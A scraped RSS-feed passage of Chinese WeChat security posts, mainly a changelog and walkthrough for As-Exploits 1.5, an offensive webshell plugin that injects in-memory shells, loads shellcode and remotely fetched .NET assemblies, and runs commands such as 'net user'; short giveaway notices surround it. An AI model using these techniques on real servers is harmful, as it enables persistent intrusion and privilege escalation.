data-id="Mzk0MzUxOTc2MQ==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/YJRI1BrBLAINZibXQGK1Wtu1YMtYl3IuexQWJrA65iaKjfoyOKODBc808mvMTxxGANcFFWSBAzLEq4vRLiaMNrSSw/0?wx_fmt=png" data-nickname="MSEC运营号" data-alias="msec-community" data-signature="M-SEC社区一直致力于通过提供最新的安全技术资讯、安全工具和资源、安全测试服务以及安全技术交流和分享的平台，为您解决实际问题，提供更优质的安全产品和服务解决方案。" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section><span style="font-size: 15px;"><strong style="letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">这，是本次抽奖活动的礼品，到手了记得晒晒朋友圈，馋一馋没中奖的朋友。</span></strong></span><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.578px;font-size: 15px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;"></span></strong></section><section><mp-common-miniprogram data-miniprogram-nickname="抽奖助手" data-miniprogram-avatar="http://mmbiz.qpic.cn/mmbiz_png/Vdys2e8jP1l1clbflznHYO7IRflCZWjPfD4NMn1Xqgr5gZbBy1qVc12cGVG1whLTXiafBT7kiaWRl38HCbqLnRzw/640?wx_fmt=png&amp;wxfrom=200" data-miniprogram-title="M-SEC社区中秋礼盒" data-miniprogram-imageurl="http://mmbiz.qpic.cn/sz_mmbiz_jpg/lkcJVly3Wy37HfwIHChpxdeLGU1aw7Kk3Aj43g2NL9UTZEzgSsQrCjMhSGVBNeKZicrWUnPCJvCRWaQ39abrXmw/0?wx_fmt=jpeg" data-miniprogram-type="card" data-miniprogram-servicetype="0" data-pluginname="insertminiprogram" class="js_uneditable custom_select_card mp_miniprogram_iframe" data-miniprogram-appid="wx01bb1ef166cd3f4e" data-miniprogram-applink="#小程序://抽奖/STFW6tSQqj1qtku" data-miniprogram-imageurlback="http%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlkcJVly3Wy37HfwIHChpxdeLGU1aw7KkUuhMzmdRYNmV32bOWiaK63Wn6l68Z1TXuicF8WBv9fOMabzVT9SD3Tcg%2F0%3Fwx_fmt%3Dpng" data-miniprogram-cropperinfo="%7B%22c%22%3A%7B%22x%22%3A0%2C%22y%22%3A43%2C%22x2%22%3A212%2C%22y2%22%3A212.6%2C%22w%22%3A212%2C%22h%22%3A169.6%7D%7D" data-miniprogram-path="pages/lucky/lottery/detail?id=8CGvSh0xeUx"></mp-common-miniprogram></section><section style="letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-size: 15px;"><strong style="letter-spacing: 0.578px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">画重点：<br/></span></strong></span></section><section style="letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-size: 15px;"><strong style="letter-spacing: 0.578px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">9月9日09:09开奖，24小时内在抽奖助手小程序里填好快递信息。</span></strong></span></section><hr style="white-space: normal;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p style="white-space: normal;text-align: center;margin-bottom: 0px;"><br/></p><p style="white-space: normal;text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-copyright="0" data-imgfileid="100000958" data-ratio="1" data-s="300,640" style="height: 198px;width: 198px;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=a606fcfb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy3kYxrKTnbxKyJeZhmfzqjkiaA1gWNNFdGMgnpWbicm1mzDFq0Sicfzv5HPHqRlyuDDeUHTE8QJpm9FQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="white-space: normal;text-align: center;margin-bottom: 0px;"><span style="font-size: 12px;color: rgb(136, 136, 136);">不如关注一波再走？</span></p><p style="margin-bottom: 0px;"><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484612">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=86550c19&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484612%26idx%3D1%26sn%3Da316c98c91a1d7b66be9387040682fdf%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 07 Sep 2024 16:52:00 +0800</pubDate>
    </item>
    <item>
      <title>As-Exploits 1.5更新</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484603&amp;idx=1&amp;sn=7dfee9deb3909c29f30e35d9d90bb6ae</link>
      <description>更新日志新增支持jspjs/aspxcsharp类型除内存马/内存马管理模块以外，均支持Tomcat10内存</description>
      <content:encoded><![CDATA[<p>
<span>yzddMr6</span> <span>2023-10-21 17:23</span> <span style="display: inline-block;">浙江</span>
</p>

<p>更新日志新增支持jspjs/aspxcsharp类型除内存马/内存马管理模块以外，均支持Tomcat10内存</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=4ebfbd8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4erp6jA39K0rd54wpR68oicyLu1ZHrlH7RDV9WVw6mNdV1tYkiaw2MOY7Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 24px;letter-spacing: normal;text-align: start;text-wrap: wrap;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">更新日志</h2><ol style="padding-left: 30px;list-style-position: initial;list-style-image: initial;color: rgb(80, 97, 109);font-size: 15px;letter-spacing: normal;text-align: start;text-wrap: wrap;" class="list-paddingleft-1"><li style="margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">新增支持jspjs/aspxcsharp类型</span></p></li><li style="margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">除内存马/内存马管理模块以外，均支持Tomcat10</span></p></li><li style="margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">内存马注入模块更新:</span></p></li><li style="margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">Filter类型：新增PystingerFilter，SorFilter</span></p></li><li style="margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">新增WebSocket类型：CmdWs，CmdBase64Ws，JSPJSWs，JSPJSBase64Ws</span></p></li><li style="margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">不再支持Servlet内存马</span></p></li><li style="margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">内存马管理模块新增Listener、Tomcat-Value、Timer、Websocket 、Upgrade 、ExecutorShell内存马的查杀检测（thx <a href="https://github.com/ruyueattention/java-memshell-scanner）" target="_blank">https://github.com/ruyueattention/java-memshell-scanner）</a></span></p></li><li style="margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">Jar加载器模块内存加载功能BUG修复</span></p></li><li style="margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">ShellCode加载-JNA模块更新，提高兼容性跟稳定性</span></p></li><li style="margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">execPayload模块支持新增额外参数</span></p></li><li style="margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="line-height: 22px;">新增Js引擎执行模块，可用Payload见：<a href="https://github.com/yzddmr6/Java-Js-Engine-Payloads" target="_blank">https://github.com/yzddmr6/Java-Js-Engine-Payloads</a></span></span></p></li><li style="margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">aspxcsharp类型支持回显自定义分隔符</span></p></li><li style="margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">aspxcsharp新增SharpLoader模块，支持内存加载、远程加载Assembly；支持获取已加载过的Assembly，无需重复上传；支持传递命令行参数，自动获取输入输出。</span></p></li></ol><h2 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 24px;letter-spacing: normal;text-align: start;text-wrap: wrap;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">兼容Tomcat 10</h2><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">不用多解释<img class="rich_pages wxw-img" data-ratio="0.7435185185185185" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c66f7eed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4euWRRxbBpgY6VAsohgdEULQic17pmt0WzqJxmzjTJxmIgS4dBaOdJY8A%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 24px;letter-spacing: normal;text-align: start;text-wrap: wrap;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">新增WebSocket内存马</h2><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">新增4中WebSocket类型内存马：CmdWs，CmdBase64Ws，JSPJSWs，JSPJSBase64Ws
注意Websocket的路径不能填/*<img class="rich_pages wxw-img" data-ratio="0.5138888888888888" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6b865ee5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4e9MWBlEgs20OhKycTKzclHfcFluf2oTluy5XNdLF8V13Fl2ztGc1SHQ%2F640%3Fwx_fmt%3Dpng"/>内存马管理模块中可以看到已经注入成功<img class="rich_pages wxw-img" data-ratio="0.5324074074074074" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=12f1778d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4eezibMHyiaTu7cgvGczbPLBabd2NuWKicn0ZKTqShxPDtdMrCg21MspliaQ%2F640%3Fwx_fmt%3Dpng"/>通过ws协议直接连接<img class="rich_pages wxw-img" data-ratio="0.5833333333333334" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bf0d4eb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4ecj8o2cgnAUJs5ibMOfxsTIdaejLOyibe3gLg5faRHgBWibSY8hMvIIAYQ%2F640%3Fwx_fmt%3Dpng"/>卸载内存马<img class="rich_pages wxw-img" data-ratio="0.37777777777777777" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8e2ffcd0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4ejCJYlzdkYZfSk7SbicdO9fl0ttYUd5NViaT8p56opeaQfFpPOOViaM5dA%2F640%3Fwx_fmt%3Dpng"/>也可以打入cmd类型，通过Chrome插件手动发送命令<img class="rich_pages wxw-img" data-ratio="0.4324074074074074" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=508ff818&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4eLkKPhNMjpUIRTDILOBSvdtxBtO29BlWzQvl7BKWW5F6n2Oq8aKfSBg%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 24px;letter-spacing: normal;text-align: start;text-wrap: wrap;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">新增6种内存马检测</h2><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">增加Listener、Tomcat-Value、Timer、Websocket 、Upgrade 、ExecutorShell内存马的查杀检测
核心代码来自：<a href="https://github.com/ruyueattention/java-memshell-scanner" target="_blank">https://github.com/ruyueattention/java-memshell-scanner</a><img class="rich_pages wxw-img" data-ratio="0.5796296296296296" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c8c42b44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4e8TibR4dRviagmATsKp0qm1SFgzNksWRqUC4QpeCxfYnyd9tEJUYRVIqQ%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 24px;letter-spacing: normal;text-align: start;text-wrap: wrap;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">内存加载ShellCode</h2><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">通过Jar加载器-内存加载，上传ext目录下的loader.jar<img class="rich_pages wxw-img" data-ratio="0.5944444444444444" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=142b1e78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4eP1M48SOndrp0MOrzgbGbR9e4HUL1a8vWAh0nwAXkgqv5Y0wPGscfVg%2F640%3Fwx_fmt%3Dpng"/>可以通过Js引擎执行功能先试一下看类在不在，发现确实可以查找到<img class="rich_pages wxw-img" data-ratio="0.5888888888888889" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ab2e2e4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4eliaWkUtIVsuvican8VTe8qjlbmkHhINJP3Tz2zyb0WicUC9VqYhlzZWHw%2F640%3Fwx_fmt%3Dpng"/>ShellCode加载器模块-加载方式JNA，exploit，弹出计算器，也就实现了内存加载ShellCode的功能<img class="rich_pages wxw-img" data-ratio="0.5851851851851851" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f5a4bc97&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4eDY4sQsNnEZUEOwrpA9l1GogL3niafYn910tibSl7anRTLibh78HRY3ERg%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 24px;letter-spacing: normal;text-align: start;text-wrap: wrap;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">SharpLoader</h2><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">具体实现可以看之前写的文章：<a href="https://yzddmr6.com/posts/as-exploits-sharploader/" target="_blank">https://yzddmr6.com/posts/as-exploits-sharploader/</a>
以Efspotato为例</p><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;letter-spacing: normal;text-align: start;text-wrap: wrap;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">内存加载</h3><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">选择我们要加载的本地文件即可<img class="rich_pages wxw-img" data-ratio="0.9117647058823529" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1054" src="https://wechat2rss.xlab.app/img-proxy/?k=808dd91c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4eq4I1njzZRgd5kkx2OicdgkA7kN7MD2G5ura0iccKUmCZicicKHG4hrHkQQ%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;letter-spacing: normal;text-align: start;text-wrap: wrap;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">URL加载</h3><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">把exp托管到一个web上，然后填写远程URl地址<img class="rich_pages wxw-img" data-ratio="0.9006622516556292" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1057" src="https://wechat2rss.xlab.app/img-proxy/?k=c8285c03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4e3p0TLgf6HInAia5069QtA6AftR9Lttf4mVEtpDQicPjUefCWAL0JUQzA%2F640%3Fwx_fmt%3Dpng"/>需要注意的是，这里有一个坑。本来想着可以直接去加载github上面各种编译好的payload，但是发现.net 4好像不支持tls1.2<a href="https://stackoverflow.com/questions/47269609/system-net-securityprotocoltype-tls12-definition-not-found" target="_blank">https://stackoverflow.com/questions/47269609/system-net-securityprotocoltype-tls12-definition-not-found</a><img class="rich_pages wxw-img" data-ratio="0.2564935064935065" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="616" src="https://wechat2rss.xlab.app/img-proxy/?k=600429c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4ekrNY7fqiaJTCX6tl0s8EzrGIdA0myOLh1iabYia5hPphick7N0eyPEctOQ%2F640%3Fwx_fmt%3Dpng"/>那还是自己搭个http的服务吧</p><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;letter-spacing: normal;text-align: start;text-wrap: wrap;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">通过名称加载</h3><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">在前面通过内存或者URL加载过的程序集，后续都可以通过项目名来反射加载。可以先通过 <strong style="color: rgb(0, 0, 0);">获取已加载的Assembly</strong> 功能来获取之前所有打进去过的项目名，多个结果以|分割<img class="rich_pages wxw-img" data-ratio="0.6514719848053181" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1053" src="https://wechat2rss.xlab.app/img-proxy/?k=7a1b325d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4e28GwicPtdwyzDhvuqtByRzPPh5MnUkSpkzdvjoLDg9qFniaC3TrOmrag%2F640%3Fwx_fmt%3Dpng"/>填入你想要反射的Assembly的名称，加上要执行的参数，exploit！<img class="rich_pages wxw-img" data-ratio="0.7552182163187856" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1054" src="https://wechat2rss.xlab.app/img-proxy/?k=921caa56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4e50hrkMbkeHVpxOBNllTJZdV4aibrjTFGicXH1rrzSVMz6B60scaHUbOQ%2F640%3Fwx_fmt%3Dpng"/>成功调用
参数内空格分割符：{}
例如需要执行 cmd /c &#39;net user&#39;
则填写 cmd /c net{}user即可</p><h2 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 24px;letter-spacing: normal;text-align: start;text-wrap: wrap;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">联动JMG实现内存马扩展</h2><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">As-Exploits设计理念之一就是要提供良好的扩展性，这里以 执行自定义Payload 功能举例。虽然插件中内置了一些常见的内存马，但是在实际中我们可能想打入一些别的内存马。这里可以借助pen4uin师傅的JMG项目生成一个蚁剑-Listener内存马
打开JMG，选择内存马类型，中间件类型，设置密码，输出格式选择Base64<img class="rich_pages wxw-img" data-ratio="0.5824074074074074" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=07b0ceee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4eKM5Kic2SDYGficyatQtAmoUJNs0gictwiagYRWcK4GAQziazFGic1NcvHF6w%2F640%3Fwx_fmt%3Dpng"/>生成之后把Payload贴进去，执行<img class="rich_pages wxw-img" data-ratio="0.3287037037037037" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=50a10153&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4eiaDHa3fWbyNBD54ByQNI6hfaichgjlibu7wiblb4kUQhtylKcPeSyLJkpg%2F640%3Fwx_fmt%3Dpng"/>通过内存马管理模块可以看到已经打进去了一个Listener<img class="rich_pages wxw-img" data-ratio="0.512962962962963" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f799b1d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4embT6Lic39ohGYHVOZ64049dMpSO0MzZPyUK5FsDO4qQyXtXhlgibb42Q%2F640%3Fwx_fmt%3Dpng"/>配置连接的时候别忘了配置敲门的header参数，成功连接<img class="rich_pages wxw-img" data-ratio="0.5740740740740741" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5f4cd0b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU4j9YO4WHicvge4MgYibjfib4eTMkJqIRf694BSEqY7sBqRhDQnlQhsaHfGHISWhL5Ondvic1ApCMo2Ng%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484603">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e6861c4d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484603%26idx%3D1%26sn%3D7dfee9deb3909c29f30e35d9d90bb6ae%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 21 Oct 2023 17:23:00 +0800</pubDate>
    </item>
    <item>
      <title>来，抽奖了</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484601&amp;idx=1&amp;sn=c684c0c053b6a86c3f0f0ba2806f47f7</link>
      <description>下面是原文，不是割韭菜的，给个面子继续看一看催更的小伙伴我们来啦！「404星链计划」上新了~ 本期我们又收集</description>
      <content:encoded><![CDATA[<p>
<span>404实验室</span> <span>2023-04-19 18:59</span> <span style="display: inline-block;">北京</span>
</p>

<p>下面是原文，不是割韭菜的，给个面子继续看一看催更的小伙伴我们来啦！「404星链计划」上新了~ 本期我们又收集</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=91f34fc7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3k9IT3oQhT2FXZwSECclcia44umR59gkqPdcJzfRNyELQcSiaJia5ot2nibvRqT3htMYEb77GXcxZmaJLbVmYSQNYQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


